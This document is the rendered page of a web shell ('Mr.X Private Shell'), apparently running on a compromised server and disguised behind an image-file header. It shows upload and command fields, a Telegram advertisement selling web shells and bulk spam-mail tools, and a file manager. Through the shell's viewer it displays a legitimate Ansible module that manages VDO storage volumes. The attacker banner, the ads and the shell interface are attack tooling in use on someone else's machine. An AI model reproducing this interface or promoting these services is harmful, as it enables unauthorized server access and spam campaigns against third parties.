����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# -*- coding: utf-8 -*-

# Copyright (c) 2018, Red Hat, Inc.
# GNU General Public License v3.0+ (see LICENSES/GPL-3.0-or-later.txt or https://www.gnu.org/licenses/gpl-3.0.txt)
# SPDX-License-Identifier: GPL-3.0-or-later

from __future__ import absolute_import, division, print_function
__metaclass__ = type

DOCUMENTATION = r'''
---
author:
    - Bryan Gurney (@bgurney-rh)

module: vdo

short_description: Module to control VDO


description:
    - This module controls the VDO dedupe and compression device.
    - VDO, or Virtual Data Optimizer, is a device-mapper target that
      provides inline block-level deduplication, compression, and
      thin provisioning capabilities to primary storage.

extends_documentation_fragment:
    - community.general.attributes

attributes:
    check_mode:
        support: none
    diff_mode:
        support: none

options:
    name:
        description:
            - The name of the VDO volume.
        type: str
        required: true
    state:
        description:
            - Whether this VDO volume should be "present" or "absent".
              If a "present" VDO volume does not exist, it will be
              created.  If a "present" VDO volume already exists, it
              will be modified, by updating the configuration, which
              will take effect when the VDO volume is restarted.
              Not all parameters of an existing VDO volume can be
              modified; the "statusparamkeys" list contains the
              parameters that can be modified after creation. If an
              "absent" VDO volume does not exist, it will not be
              removed.
        type: str
        choices: [ absent, present ]
        default: present
    activated:
        description:
            - The "activate" status for a VDO volume.  If this is set
              to C(false), the VDO volume cannot be started, and it will
              not start on system startup.  However, on initial
              creation, a VDO volume with "activated" set to "off"
              will be running, until stopped.  This is the default
              behavior of the "vdo create" command; it provides the
              user an opportunity to write a base amount of metadata
              (filesystem, LVM headers, etc.) to the VDO volume prior
              to stopping the volume, and leaving it deactivated
              until ready to use.
        type: bool
    running:
        description:
            - Whether this VDO volume is running.
            - A VDO volume must be activated in order to be started.
        type: bool
    device:
        description:
            - The full path of the device to use for VDO storage.
            - This is required if "state" is "present".
        type: str
    logicalsize:
        description:
            - The logical size of the VDO volume (in megabytes, or
              LVM suffix format).  If not specified for a new volume,
              this defaults to the same size as the underlying storage
              device, which is specified in the 'device' parameter.
              Existing volumes will maintain their size if the
              logicalsize parameter is not specified, or is smaller
              than or identical to the current size.  If the specified
              size is larger than the current size, a growlogical
              operation will be performed.
        type: str
    deduplication:
        description:
            - Configures whether deduplication is enabled.  The
              default for a created volume is 'enabled'.  Existing
              volumes will maintain their previously configured
              setting unless a different value is specified in the
              playbook.
        type: str
        choices: [ disabled, enabled ]
    compression:
        description:
            - Configures whether compression is enabled.  The default
              for a created volume is 'enabled'.  Existing volumes
              will maintain their previously configured setting unless
              a different value is specified in the playbook.
        type: str
        choices: [ disabled, enabled ]
    blockmapcachesize:
        description:
            - The amount of memory allocated for caching block map
              pages, in megabytes (or may be issued with an LVM-style
              suffix of K, M, G, or T).  The default (and minimum)
              value is 128M.  The value specifies the size of the
              cache; there is a 15% memory usage overhead. Each 1.25G
              of block map covers 1T of logical blocks, therefore a
              small amount of block map cache memory can cache a
              significantly large amount of block map data.  Existing
              volumes will maintain their previously configured
              setting unless a different value is specified in the
              playbook.
        type: str
    readcache:
        description:
            - Enables or disables the read cache.  The default is
              'disabled'.  Choosing 'enabled' enables a read cache
              which may improve performance for workloads of high
              deduplication, read workloads with a high level of
              compression, or on hard disk storage.  Existing
              volumes will maintain their previously configured
              setting unless a different value is specified in the
              playbook.
            - The read cache feature is available in VDO 6.1 and older.
        type: str
        choices: [ disabled, enabled ]
    readcachesize:
        description:
            - Specifies the extra VDO device read cache size in
              megabytes.  This is in addition to a system-defined
              minimum.  Using a value with a suffix of K, M, G, or T
              is optional.  The default value is 0.  1.125 MB of
              memory per bio thread will be used per 1 MB of read
              cache specified (for example, a VDO volume configured
              with 4 bio threads will have a read cache memory usage
              overhead of 4.5 MB per 1 MB of read cache specified).
              Existing volumes will maintain their previously
              configured setting unless a different value is specified
              in the playbook.
            - The read cache feature is available in VDO 6.1 and older.
        type: str
    emulate512:
        description:
            - Enables 512-byte emulation mode, allowing drivers or
              filesystems to access the VDO volume at 512-byte
              granularity, instead of the default 4096-byte granularity.
              Default is 'disabled'; only recommended when a driver
              or filesystem requires 512-byte sector level access to
              a device.  This option is only available when creating
              a new volume, and cannot be changed for an existing
              volume.
        type: bool
        default: false
    growphysical:
        description:
            - Specifies whether to attempt to execute a growphysical
              operation, if there is enough unused space on the
              device.  A growphysical operation will be executed if
              there is at least 64 GB of free space, relative to the
              previous physical size of the affected VDO volume.
        type: bool
        default: false
    slabsize:
        description:
            - The size of the increment by which the physical size of
              a VDO volume is grown, in megabytes (or may be issued
              with an LVM-style suffix of K, M, G, or T).  Must be a
              power of two between 128M and 32G.  The default is 2G,
              which supports volumes having a physical size up to 16T.
              The maximum, 32G, supports a physical size of up to 256T.
              This option is only available when creating a new
              volume, and cannot be changed for an existing volume.
        type: str
    writepolicy:
        description:
            - Specifies the write policy of the VDO volume.  The
              'sync' mode acknowledges writes only after data is on
              stable storage.  The 'async' mode acknowledges writes
              when data has been cached for writing to stable
              storage.  The default (and highly recommended) 'auto'
              mode checks the storage device to determine whether it
              supports flushes.  Devices that support flushes will
              result in a VDO volume in 'async' mode, while devices
              that do not support flushes will run in sync mode.
              Existing volumes will maintain their previously
              configured setting unless a different value is
              specified in the playbook.
        type: str
        choices: [ async, auto, sync ]
    indexmem:
        description:
            - Specifies the amount of index memory in gigabytes.  The
              default is 0.25.  The special decimal values 0.25, 0.5,
              and 0.75 can be used, as can any positive integer.
              This option is only available when creating a new
              volume, and cannot be changed for an existing volume.
        type: str
    indexmode:
        description:
            - Specifies the index mode of the Albireo index.  The
              default is 'dense', which has a deduplication window of
              1 GB of index memory per 1 TB of incoming data,
              requiring 10 GB of index data on persistent storage.
              The 'sparse' mode has a deduplication window of 1 GB of
              index memory per 10 TB of incoming data, but requires
              100 GB of index data on persistent storage.  This option
              is only available when creating a new volume, and cannot
              be changed for an existing volume.
        type: str
        choices: [ dense, sparse ]
    ackthreads:
        description:
            - Specifies the number of threads to use for
              acknowledging completion of requested VDO I/O operations.
              Valid values are integer values from 1 to 100 (lower
              numbers are preferable due to overhead).  The default is
              1.  Existing volumes will maintain their previously
              configured setting unless a different value is specified
              in the playbook.
        type: str
    biothreads:
        description:
            - Specifies the number of threads to use for submitting I/O
              operations to the storage device.  Valid values are
              integer values from 1 to 100 (lower numbers are
              preferable due to overhead).  The default is 4.
              Existing volumes will maintain their previously
              configured setting unless a different value is specified
              in the playbook.
        type: str
    cputhreads:
        description:
            - Specifies the number of threads to use for CPU-intensive
              work such as hashing or compression.  Valid values are
              integer values from 1 to 100 (lower numbers are
              preferable due to overhead).  The default is 2.
              Existing volumes will maintain their previously
              configured setting unless a different value is specified
              in the playbook.
        type: str
    logicalthreads:
        description:
            - Specifies the number of threads across which to
              subdivide parts of the VDO processing based on logical
              block addresses.  Valid values are integer values from
              1 to 100 (lower numbers are preferable due to overhead).
              The default is 1.  Existing volumes will maintain their
              previously configured setting unless a different value
              is specified in the playbook.
        type: str
    physicalthreads:
        description:
            - Specifies the number of threads across which to
              subdivide parts of the VDO processing based on physical
              block addresses.  Valid values are integer values from
              1 to 16 (lower numbers are preferable due to overhead).
              The physical space used by the VDO volume must be
              larger than (slabsize * physicalthreads).  The default
              is 1.  Existing volumes will maintain their previously
              configured setting unless a different value is specified
              in the playbook.
        type: str
    force:
        description:
            - When creating a volume, ignores any existing file system
              or VDO signature already present in the storage device.
              When stopping or removing a VDO volume, first unmounts
              the file system stored on the device if mounted.
            - "B(Warning:) Since this parameter removes all safety
              checks it is important to make sure that all parameters
              provided are accurate and intentional."
        type: bool
        default: false
        version_added: 2.4.0
notes:
  - In general, the default thread configuration should be used.
requirements:
  - PyYAML
  - kmod-kvdo
  - vdo
'''

EXAMPLES = r'''
- name: Create 2 TB VDO volume vdo1 on device /dev/md0
  community.general.vdo:
    name: vdo1
    state: present
    device: /dev/md0
    logicalsize: 2T

- name: Remove VDO volume vdo1
  community.general.vdo:
    name: vdo1
    state: absent
'''

RETURN = r'''#  '''

from ansible.module_utils.basic import AnsibleModule, missing_required_lib
import re
import traceback

YAML_IMP_ERR = None
try:
    import yaml
    HAS_YAML = True
except ImportError:
    YAML_IMP_ERR = traceback.format_exc()
    HAS_YAML = False


# Generate a list of VDO volumes, whether they are running or stopped.
#
# @param module  The AnsibleModule object.
# @param vdocmd  The path of the 'vdo' command.
#
# @return vdolist  A list of currently created VDO volumes.
def inventory_vdos(module, vdocmd):
    rc, vdostatusout, err = module.run_command([vdocmd, "status"])

    # if rc != 0:
    #   module.fail_json(msg="Inventorying VDOs failed: %s"
    #                        % vdostatusout, rc=rc, err=err)

    vdolist = []

    if rc == 2 and re.findall(r"vdoconf\.yml does not exist", err, re.MULTILINE):
        # If there is no /etc/vdoconf.yml file, assume there are no
        # VDO volumes. Return an empty list of VDO volumes.
        return vdolist

    if rc != 0:
        module.fail_json(msg="Inventorying VDOs failed: %s" % vdostatusout, rc=rc, err=err)

    vdostatusyaml = yaml.safe_load(vdostatusout)
    if vdostatusyaml is None:
        return vdolist

    vdoyamls = vdostatusyaml['VDOs']

    if vdoyamls is not None:
        vdolist = list(vdoyamls.keys())

    return vdolist


def list_running_vdos(module, vdocmd):
    rc, vdolistout, err = module.run_command([vdocmd, "list"])
    runningvdolist = filter(None, vdolistout.split('\n'))
    return runningvdolist


# Generate a string containing options to pass to the 'VDO' command.
# Note that a 'create' operation will pass more options than a
# 'modify' operation.
#
# @param params  A dictionary of parameters, and their values
#                (values of 'None' and/or nonexistent values are ignored).
#
# @return vdocmdoptions  A string to be used in a 'vdo <action>' command.
def start_vdo(module, vdoname, vdocmd):
    rc, out, err = module.run_command([vdocmd, "start", "--name=%s" % vdoname])
    if rc == 0:
        module.log("started VDO volume %s" % vdoname)
    return rc


def stop_vdo(module, vdoname, vdocmd):
    rc, out, err = module.run_command([vdocmd, "stop", "--name=%s" % vdoname])
    if rc == 0:
        module.log("stopped VDO volume %s" % vdoname)
    return rc


def activate_vdo(module, vdoname, vdocmd):
    rc, out, err = module.run_command([vdocmd, "activate", "--name=%s" % vdoname])
    if rc == 0:
        module.log("activated VDO volume %s" % vdoname)
    return rc


def deactivate_vdo(module, vdoname, vdocmd):
    rc, out, err = module.run_command([vdocmd, "deactivate", "--name=%s" % vdoname])
    if rc == 0:
        module.log("deactivated VDO volume %s" % vdoname)
    return rc


def add_vdooptions(params):
    options = []

    if params.get('logicalsize') is not None:
        options.append("--vdoLogicalSize=" + params['logicalsize'])

    if params.get('blockmapcachesize') is not None:
        options.append("--blockMapCacheSize=" + params['blockmapcachesize'])

    if params.get('readcache') == 'enabled':
        options.append("--readCache=enabled")

    if params.get('readcachesize') is not None:
        options.append("--readCacheSize=" + params['readcachesize'])

    if params.get('slabsize') is not None:
        options.append("--vdoSlabSize=" + params['slabsize'])

    if params.get('emulate512'):
        options.append("--emulate512=enabled")

    if params.get('indexmem') is not None:
        options.append("--indexMem=" + params['indexmem'])

    if params.get('indexmode') == 'sparse':
        options.append("--sparseIndex=enabled")

    if params.get('force'):
        options.append("--force")

    # Entering an invalid thread config results in a cryptic
    # 'Could not set up device mapper for %s' error from the 'vdo'
    # command execution.  The dmsetup module on the system will
    # output a more helpful message, but one would have to log
    # onto that system to read the error.  For now, heed the thread
    # limit warnings in the DOCUMENTATION section above.
    if params.get('ackthreads') is not None:
        options.append("--vdoAckThreads=" + params['ackthreads'])

    if params.get('biothreads') is not None:
        options.append("--vdoBioThreads=" + params['biothreads'])

    if params.get('cputhreads') is not None:
        options.append("--vdoCpuThreads=" + params['cputhreads'])

    if params.get('logicalthreads') is not None:
        options.append("--vdoLogicalThreads=" + params['logicalthreads'])

    if params.get('physicalthreads') is not None:
        options.append("--vdoPhysicalThreads=" + params['physicalthreads'])

    return options


def run_module():

    # Define the available arguments/parameters that a user can pass to
    # the module.
    # Defaults for VDO parameters are None, in order to facilitate
    # the detection of parameters passed from the playbook.
    # Creation param defaults are determined by the creation section.

    module_args = dict(
        name=dict(type='str', required=True),
        state=dict(type='str', default='present', choices=['absent', 'present']),
        activated=dict(type='bool'),
        running=dict(type='bool'),
        growphysical=dict(type='bool', default=False),
        device=dict(type='str'),
        logicalsize=dict(type='str'),
        deduplication=dict(type='str', choices=['disabled', 'enabled']),
        compression=dict(type='str', choices=['disabled', 'enabled']),
        blockmapcachesize=dict(type='str'),
        readcache=dict(type='str', choices=['disabled', 'enabled']),
        readcachesize=dict(type='str'),
        emulate512=dict(type='bool', default=False),
        slabsize=dict(type='str'),
        writepolicy=dict(type='str', choices=['async', 'auto', 'sync']),
        indexmem=dict(type='str'),
        indexmode=dict(type='str', choices=['dense', 'sparse']),
        ackthreads=dict(type='str'),
        biothreads=dict(type='str'),
        cputhreads=dict(type='str'),
        logicalthreads=dict(type='str'),
        physicalthreads=dict(type='str'),
        force=dict(type='bool', default=False),
    )

    # Seed the result dictionary in the object.  There will be an
    # 'invocation' dictionary added with 'module_args' (arguments
    # given).
    result = dict(
        changed=False,
    )

    # the AnsibleModule object will be our abstraction working with Ansible
    # this includes instantiation, a couple of common attr would be the
    # args/params passed to the execution, as well as if the module
    # supports check mode
    module = AnsibleModule(
        argument_spec=module_args,
        supports_check_mode=False,
    )

    if not HAS_YAML:
        module.fail_json(msg=missing_required_lib('PyYAML'), exception=YAML_IMP_ERR)

    vdocmd = module.get_bin_path("vdo", required=True)
    if not vdocmd:
        module.fail_json(msg='VDO is not installed.', **result)

    # Print a pre-run list of VDO volumes in the result object.
    vdolist = inventory_vdos(module, vdocmd)

    runningvdolist = list_running_vdos(module, vdocmd)

    # Collect the name of the desired VDO volume, and its state.  These will
    # determine what to do.
    desiredvdo = module.params['name']
    state = module.params['state']

    # Create a desired VDO volume that doesn't exist yet.
    if (desiredvdo not in vdolist) and (state == 'present'):
        device = module.params['device']
        if device is None:
            module.fail_json(msg="Creating a VDO volume requires specifying "
                                 "a 'device' in the playbook.")

        # Create a dictionary of the options from the AnsibleModule
        # parameters, compile the vdo command options, and run "vdo create"
        # with those options.
        # Since this is a creation of a new VDO volume, it will contain all
        # all of the parameters given by the playbook; the rest will
        # assume default values.
        vdocmdoptions = add_vdooptions(module.params)
        rc, out, err = module.run_command(
            [vdocmd, "create", "--name=%s" % desiredvdo, "--device=%s" % device] + vdocmdoptions)
        if rc == 0:
            result['changed'] = True
        else:
            module.fail_json(msg="Creating VDO %s failed." % desiredvdo, rc=rc, err=err)

        if module.params['compression'] == 'disabled':
            rc, out, err = module.run_command([vdocmd, "disableCompression", "--name=%s" % desiredvdo])

        if module.params['deduplication'] == 'disabled':
            rc, out, err = module.run_command([vdocmd, "disableDeduplication", "--name=%s" % desiredvdo])

        if module.params['activated'] is False:
            deactivate_vdo(module, desiredvdo, vdocmd)

        if module.params['running'] is False:
            stop_vdo(module, desiredvdo, vdocmd)

        # Print a post-run list of VDO volumes in the result object.
        vdolist = inventory_vdos(module, vdocmd)
        module.log("created VDO volume %s" % desiredvdo)
        module.exit_json(**result)

    # Modify the current parameters of a VDO that exists.
    if desiredvdo in vdolist and state == 'present':
        rc, vdostatusoutput, err = module.run_command([vdocmd, "status"])
        vdostatusyaml = yaml.safe_load(vdostatusoutput)

        # An empty dictionary to contain dictionaries of VDO statistics
        processedvdos = {}

        vdoyamls = vdostatusyaml['VDOs']
        if vdoyamls is not None:
            processedvdos = vdoyamls

        # The 'vdo status' keys that are currently modifiable.
        statusparamkeys = ['Acknowledgement threads',
                           'Bio submission threads',
                           'Block map cache size',
                           'CPU-work threads',
                           'Logical threads',
                           'Physical threads',
                           'Read cache',
                           'Read cache size',
                           'Configured write policy',
                           'Compression',
                           'Deduplication']

        # A key translation table from 'vdo status' output to Ansible
        # module parameters.  This covers all of the 'vdo status'
        # parameter keys that could be modified with the 'vdo'
        # command.
        vdokeytrans = {
            'Logical size': 'logicalsize',
            'Compression': 'compression',
            'Deduplication': 'deduplication',
            'Block map cache size': 'blockmapcachesize',
            'Read cache': 'readcache',
            'Read cache size': 'readcachesize',
            'Configured write policy': 'writepolicy',
            'Acknowledgement threads': 'ackthreads',
            'Bio submission threads': 'biothreads',
            'CPU-work threads': 'cputhreads',
            'Logical threads': 'logicalthreads',
            'Physical threads': 'physicalthreads'
        }

        # Build a dictionary of the current VDO status parameters, with
        # the keys used by VDO.  (These keys will be converted later.)
        currentvdoparams = {}

        # Build a "lookup table" dictionary containing a translation table
        # of the parameters that can be modified
        modtrans = {}

        for statfield in statusparamkeys:
            if statfield in processedvdos[desiredvdo]:
                currentvdoparams[statfield] = processedvdos[desiredvdo][statfield]

            modtrans[statfield] = vdokeytrans[statfield]

        # Build a dictionary of current parameters formatted with the
        # same keys as the AnsibleModule parameters.
        currentparams = {}
        for paramkey in modtrans.keys():
            currentparams[modtrans[paramkey]] = modtrans[paramkey]

        diffparams = {}

        # Check for differences between the playbook parameters and the
        # current parameters. This will need a comparison function;
        # since AnsibleModule params are all strings, compare them as
        # strings (but if it's None; skip).
        for key in currentparams.keys():
            if module.params[key] is not None:
                if str(currentparams[key]) != module.params[key]:
                    diffparams[key] = module.params[key]

        if diffparams:
            vdocmdoptions = add_vdooptions(diffparams)
            if vdocmdoptions:
                rc, out, err = module.run_command([vdocmd, "modify", "--name=%s" % desiredvdo] + vdocmdoptions)
                if rc == 0:
                    result['changed'] = True
                else:
                    module.fail_json(msg="Modifying VDO %s failed."
                                     % desiredvdo, rc=rc, err=err)

            if 'deduplication' in diffparams.keys():
                dedupemod = diffparams['deduplication']
                dedupeparam = "disableDeduplication" if dedupemod == 'disabled' else "enableDeduplication"
                rc, out, err = module.run_command([vdocmd, dedupeparam, "--name=%s" % desiredvdo])

                if rc == 0:
                    result['changed'] = True
                else:
                    module.fail_json(msg="Changing deduplication on VDO volume %s failed." % desiredvdo, rc=rc, err=err)

            if 'compression' in diffparams.keys():
                compressmod = diffparams['compression']
                compressparam = "disableCompression" if compressmod == 'disabled' else "enableCompression"
                rc, out, err = module.run_command([vdocmd, compressparam, "--name=%s" % desiredvdo])
                if rc == 0:
                    result['changed'] = True
                else:
                    module.fail_json(msg="Changing compression on VDO volume %s failed." % desiredvdo, rc=rc, err=err)

            if 'writepolicy' in diffparams.keys():
                writepolmod = diffparams['writepolicy']
                rc, out, err = module.run_command([
                    vdocmd,
                    "changeWritePolicy",
                    "--name=%s" % desiredvdo,
                    "--writePolicy=%s" % writepolmod,
                ])

                if rc == 0:
                    result['changed'] = True
                else:
                    module.fail_json(msg="Changing write policy on VDO volume %s failed." % desiredvdo, rc=rc, err=err)

        # Process the size parameters, to determine of a growPhysical or
        # growLogical operation needs to occur.
        sizeparamkeys = ['Logical size', ]

        currentsizeparams = {}
        sizetrans = {}
        for statfield in sizeparamkeys:
            currentsizeparams[statfield] = processedvdos[desiredvdo][statfield]
            sizetrans[statfield] = vdokeytrans[statfield]

        sizeparams = {}
        for paramkey in currentsizeparams.keys():
            sizeparams[sizetrans[paramkey]] = currentsizeparams[paramkey]

        diffsizeparams = {}
        for key in sizeparams.keys():
            if module.params[key] is not None and str(sizeparams[key]) != module.params[key]:
                diffsizeparams[key] = module.params[key]

        if module.params['growphysical']:
            physdevice = module.params['device']
            rc, devsectors, err = module.run_command([module.get_bin_path("blockdev"), "--getsz", physdevice])
            devblocks = (int(devsectors) / 8)
            dmvdoname = ('/dev/mapper/' + desiredvdo)
            currentvdostats = processedvdos[desiredvdo]['VDO statistics'][dmvdoname]
            currentphysblocks = currentvdostats['physical blocks']

            # Set a growPhysical threshold to grow only when there is
            # guaranteed to be more than 2 slabs worth of unallocated
            # space on the device to use.  For now, set to device
            # size + 64 GB, since 32 GB is the largest possible
            # slab size.
            growthresh = devblocks + 16777216

            if currentphysblocks > growthresh:
                result['changed'] = True
                rc, out, err = module.run_command([vdocmd, "growPhysical", "--name=%s" % desiredvdo])

        if 'logicalsize' in diffsizeparams.keys():
            result['changed'] = True
            rc, out, err = module.run_command([vdocmd, "growLogical", "--name=%s" % desiredvdo, "--vdoLogicalSize=%s" % diffsizeparams['logicalsize']])

        vdoactivatestatus = processedvdos[desiredvdo]['Activate']

        if module.params['activated'] is False and vdoactivatestatus == 'enabled':
            deactivate_vdo(module, desiredvdo, vdocmd)
            if not result['changed']:
                result['changed'] = True

        if module.params['activated'] and vdoactivatestatus == 'disabled':
            activate_vdo(module, desiredvdo, vdocmd)
            if not result['changed']:
                result['changed'] = True

        if module.params['running'] is False and desiredvdo in runningvdolist:
            stop_vdo(module, desiredvdo, vdocmd)
            if not result['changed']:
                result['changed'] = True

        # Note that a disabled VDO volume cannot be started by the
        # 'vdo start' command, by design.  To accurately track changed
        # status, don't try to start a disabled VDO volume.
        # If the playbook contains 'activated: true', assume that
        # the activate_vdo() operation succeeded, as 'vdoactivatestatus'
        # will have the activated status prior to the activate_vdo()
        # call.
        if (vdoactivatestatus == 'enabled' or module.params['activated']) and module.params['running'] and desiredvdo not in runningvdolist:
            start_vdo(module, desiredvdo, vdocmd)
            if not result['changed']:
                result['changed'] = True

        # Print a post-run list of VDO volumes in the result object.
        vdolist = inventory_vdos(module, vdocmd)
        if diffparams:
            module.log("modified parameters of VDO volume %s" % desiredvdo)

        module.exit_json(**result)

    # Remove a desired VDO that currently exists.
    if desiredvdo in vdolist and state == 'absent':
        rc, out, err = module.run_command([vdocmd, "remove", "--name=%s" % desiredvdo])
        if rc == 0:
            result['changed'] = True
        else:
            module.fail_json(msg="Removing VDO %s failed." % desiredvdo, rc=rc, err=err)

        # Print a post-run list of VDO volumes in the result object.
        vdolist = inventory_vdos(module, vdocmd)
        module.log("removed VDO volume %s" % desiredvdo)
        module.exit_json(**result)

    # fall through
    # The state for the desired VDO volume was absent, and it does
    # not exist. Print a post-run list of VDO volumes in the result
    # object.
    vdolist = inventory_vdos(module, vdocmd)
    module.log("received request to remove non-existent VDO volume %s" % desiredvdo)

    module.exit_json(**result)


def main():
    run_module()


if __name__ == '__main__':
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
aerospike_migrations.py File 18.75 KB 0644
airbrake_deployment.py File 4.8 KB 0644
aix_devices.py File 9.89 KB 0644
aix_filesystem.py File 17.48 KB 0644
aix_inittab.py File 7.33 KB 0644
aix_lvg.py File 11 KB 0644
aix_lvol.py File 10.54 KB 0644
alerta_customer.py File 6.61 KB 0644
ali_instance.py File 39.51 KB 0644
ali_instance_info.py File 13.79 KB 0644
alternatives.py File 14.23 KB 0644
ansible_galaxy_install.py File 15.21 KB 0644
apache2_mod_proxy.py File 16.85 KB 0644
apache2_module.py File 8.95 KB 0644
apk.py File 12.07 KB 0644
apt_repo.py File 3.71 KB 0644
apt_rpm.py File 7.75 KB 0644
archive.py File 22.65 KB 0644
atomic_container.py File 6.69 KB 0644
atomic_host.py File 2.8 KB 0644
atomic_image.py File 5.3 KB 0644
awall.py File 4.61 KB 0644
beadm.py File 11.87 KB 0644
bearychat.py File 5.36 KB 0644
bigpanda.py File 6.32 KB 0644
bitbucket_access_key.py File 8.75 KB 0644
bitbucket_pipeline_key_pair.py File 5.95 KB 0644
bitbucket_pipeline_known_host.py File 8.8 KB 0644
bitbucket_pipeline_variable.py File 8.6 KB 0644
bower.py File 6.78 KB 0644
btrfs_info.py File 3.08 KB 0644
btrfs_subvolume.py File 28.14 KB 0644
bundler.py File 6.98 KB 0644
bzr.py File 6.02 KB 0644
campfire.py File 5.15 KB 0644
capabilities.py File 6.8 KB 0644
cargo.py File 5.9 KB 0644
catapult.py File 4.35 KB 0644
circonus_annotation.py File 7.46 KB 0644
cisco_webex.py File 5.58 KB 0644
clc_aa_policy.py File 10.52 KB 0644
clc_alert_policy.py File 17.39 KB 0644
clc_blueprint_package.py File 10.25 KB 0644
clc_firewall_policy.py File 21.16 KB 0644
clc_group.py File 16.72 KB 0644
clc_loadbalancer.py File 34.43 KB 0644
clc_modify_server.py File 34.27 KB 0644
clc_publicip.py File 12.15 KB 0644
clc_server.py File 55.34 KB 0644
clc_server_snapshot.py File 14.16 KB 0644
cloud_init_data_facts.py File 3.45 KB 0644
cloudflare_dns.py File 34.21 KB 0644
cobbler_sync.py File 4.38 KB 0644
cobbler_system.py File 10.74 KB 0644
composer.py File 9.25 KB 0644
consul.py File 21.73 KB 0644
consul_acl.py File 21.9 KB 0644
consul_kv.py File 11.4 KB 0644
consul_session.py File 9.69 KB 0644
copr.py File 16.71 KB 0644
cpanm.py File 8.59 KB 0644
cronvar.py File 13.65 KB 0644
crypttab.py File 10.98 KB 0644
datadog_downtime.py File 10.48 KB 0644
datadog_event.py File 5.77 KB 0644
datadog_monitor.py File 15.77 KB 0644
dconf.py File 18.53 KB 0644
deploy_helper.py File 19.5 KB 0644
dimensiondata_network.py File 9.03 KB 0644
dimensiondata_vlan.py File 18.51 KB 0644
discord.py File 6.7 KB 0644
django_manage.py File 15.82 KB 0644
dnf_versionlock.py File 12.25 KB 0644
dnsimple.py File 16.26 KB 0644
dnsimple_info.py File 9.35 KB 0644
dnsmadeeasy.py File 23.71 KB 0644
dpkg_divert.py File 13.43 KB 0644
easy_install.py File 6.63 KB 0644
ejabberd_user.py File 5.88 KB 0644
elasticsearch_plugin.py File 9.72 KB 0644
emc_vnx_sg_member.py File 5.12 KB 0644
etcd3.py File 8.56 KB 0644
facter.py File 1.88 KB 0644
filesize.py File 16.85 KB 0644
filesystem.py File 21 KB 0644
flatpak.py File 12.16 KB 0644
flatpak_remote.py File 9.08 KB 0644
flowdock.py File 5.84 KB 0644
gandi_livedns.py File 5.05 KB 0644
gconftool2.py File 5.41 KB 0644
gconftool2_info.py File 2.2 KB 0644
gem.py File 10.22 KB 0644
git_config.py File 8.63 KB 0644
github_deploy_key.py File 11.91 KB 0644
github_issue.py File 3.1 KB 0644
github_key.py File 7.49 KB 0644
github_release.py File 6.16 KB 0644
github_repo.py File 8.57 KB 0644
github_webhook.py File 8.75 KB 0644
github_webhook_info.py File 5.27 KB 0644
gitlab_branch.py File 5.46 KB 0644
gitlab_deploy_key.py File 9.41 KB 0644
gitlab_group.py File 13.13 KB 0644
gitlab_group_members.py File 18.54 KB 0644
gitlab_group_variable.py File 15.39 KB 0644
gitlab_hook.py File 12.31 KB 0644
gitlab_project.py File 26.07 KB 0644
gitlab_project_badge.py File 5.99 KB 0644
gitlab_project_members.py File 18.81 KB 0644
gitlab_project_variable.py File 16.48 KB 0644
gitlab_protected_branch.py File 6.92 KB 0644
gitlab_runner.py File 16.47 KB 0644
gitlab_user.py File 22.36 KB 0644
grove.py File 3.37 KB 0644
gunicorn.py File 6.73 KB 0644
hana_query.py File 7 KB 0644
haproxy.py File 17.2 KB 0644
heroku_collaborator.py File 4.21 KB 0644
hg.py File 9.77 KB 0644
hipchat.py File 6.28 KB 0644
homebrew.py File 30.28 KB 0644
homebrew_cask.py File 27.09 KB 0644
homebrew_tap.py File 7.59 KB 0644
homectl.py File 25.17 KB 0644
honeybadger_deployment.py File 3.76 KB 0644
hpilo_boot.py File 6.77 KB 0644
hpilo_info.py File 8.43 KB 0644
hponcfg.py File 3.1 KB 0644
htpasswd.py File 9.23 KB 0644
hwc_ecs_instance.py File 58.07 KB 0644
hwc_evs_disk.py File 34.9 KB 0644
hwc_network_vpc.py File 13.83 KB 0644
hwc_smn_topic.py File 9.79 KB 0644
hwc_vpc_eip.py File 26.16 KB 0644
hwc_vpc_peering_connect.py File 17.58 KB 0644
hwc_vpc_port.py File 30.1 KB 0644
hwc_vpc_private_ip.py File 9.57 KB 0644
hwc_vpc_route.py File 11.57 KB 0644
hwc_vpc_security_group.py File 18.89 KB 0644
hwc_vpc_security_group_rule.py File 17.45 KB 0644
hwc_vpc_subnet.py File 20.28 KB 0644
ibm_sa_domain.py File 4.35 KB 0644
ibm_sa_host.py File 3.38 KB 0644
ibm_sa_host_ports.py File 3.64 KB 0644
ibm_sa_pool.py File 3.06 KB 0644
ibm_sa_vol.py File 2.79 KB 0644
ibm_sa_vol_map.py File 3.71 KB 0644
icinga2_feature.py File 4.32 KB 0644
icinga2_host.py File 10.07 KB 0644
idrac_redfish_command.py File 7.79 KB 0644
idrac_redfish_config.py File 10.92 KB 0644
idrac_redfish_info.py File 7.95 KB 0644
ilo_redfish_command.py File 5.17 KB 0644
ilo_redfish_config.py File 5.46 KB 0644
ilo_redfish_info.py File 5.85 KB 0644
imc_rest.py File 15.01 KB 0644
imgadm.py File 9.8 KB 0644
infinity.py File 21.86 KB 0644
influxdb_database.py File 3.84 KB 0644
influxdb_query.py File 2.73 KB 0644
influxdb_retention_policy.py File 11.77 KB 0644
influxdb_user.py File 9.03 KB 0644
influxdb_write.py File 2.55 KB 0644
ini_file.py File 18.01 KB 0644
installp.py File 9.18 KB 0644
interfaces_file.py File 14.75 KB 0644
ip_netns.py File 3.49 KB 0644
ipa_config.py File 12.92 KB 0644
ipa_dnsrecord.py File 12.58 KB 0644
ipa_dnszone.py File 5.83 KB 0644
ipa_group.py File 11.41 KB 0644
ipa_hbacrule.py File 13.54 KB 0644
ipa_host.py File 10.51 KB 0644
ipa_hostgroup.py File 7.69 KB 0644
